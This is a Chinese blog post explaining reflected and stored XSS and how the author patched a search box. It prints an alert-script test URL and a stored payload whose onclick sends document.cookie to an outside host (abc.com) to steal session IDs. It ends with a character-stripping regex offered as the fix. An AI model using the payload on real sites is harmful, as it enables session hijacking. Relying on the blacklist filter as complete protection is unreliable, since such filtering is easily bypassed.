如何预防 XSS 攻击
文章目录
- XSS攻击是什么
- 非持久性攻击
- 持久性攻击
- 这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
XSS攻击是什么
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS 攻击分为2种
- 非持久性的攻击
- 持久性攻击
非持久性攻击
顾名思义 只影响当前展示页面
大概类似下面这种情况
=========
比如右侧你可以看到博客的搜索框, 搜索的关键词最后会在页面上方显示出来
如果对这种入户入口输入不做过滤的话,那么这就是一个非持久性攻击入口
=========
http://yijiebuyi.com/so.html?k=%3Cscript%3Ealert%28%27ttt%27%29%3C%2Fscript%3E
上面是我博客的搜索地址,通过 get 传参方式获取 k 的值,最后页面上显示 k 的值.
而上面的url 中,我搜索的是
如果我对这样的 关键词 不做任何过滤,那么当我把 关键词 插入到 dom 的时候,就相当于把 上面的脚本注入到我的博客页面了.
效果就是 弹出一个很讨厌的框框 ,内容是 aa
=========
大同小异,就是通过参数传脚本来修改dom ,比如修改你的连接地址, 或者 关键词写一段 sql 脚本,当你不做任何过滤去数据库查询的时候,那么你的数据库可能会死的很惨,这就是 sql 注入
=========
持久性攻击
- 明显不是一次性那么简单 *
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
==============
session背景知识
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
<a href=# onclick=\"document.location=\'http://abc.com/xss.php?c=\'+escape\(document.cookie\)\;\">更多</a>
xss.php?c=SESSID%389sdfasdjsgear6dfsad7o2isdfasdfa
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。
今天看阿里云云盾提示有人在 XSS 攻击我的博客
当然是上面说的第一种,其实我在后端是有过滤的,但是过滤不是特别完整,所以下午稍微做了一点改动
加了一个过滤方法
function replaceKey(keyword){
var pattern = new RegExp("[%--`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]");//格式 RegExp("[在中间定义特殊过滤字符]")
var rs = "";
for (var i = 0; i < keyword.length; i++) {
rs = rs+keyword.substr(i, 1).replace(pattern, '');
}
return rs;
}
你想过滤什么样的特殊字符就在 RegExp 数组中加上这个字符即可.
然后前面搜索传过来的关键词做一个过滤,然后再去匹配相关博文展示.
出自:如何预防 XSS 攻击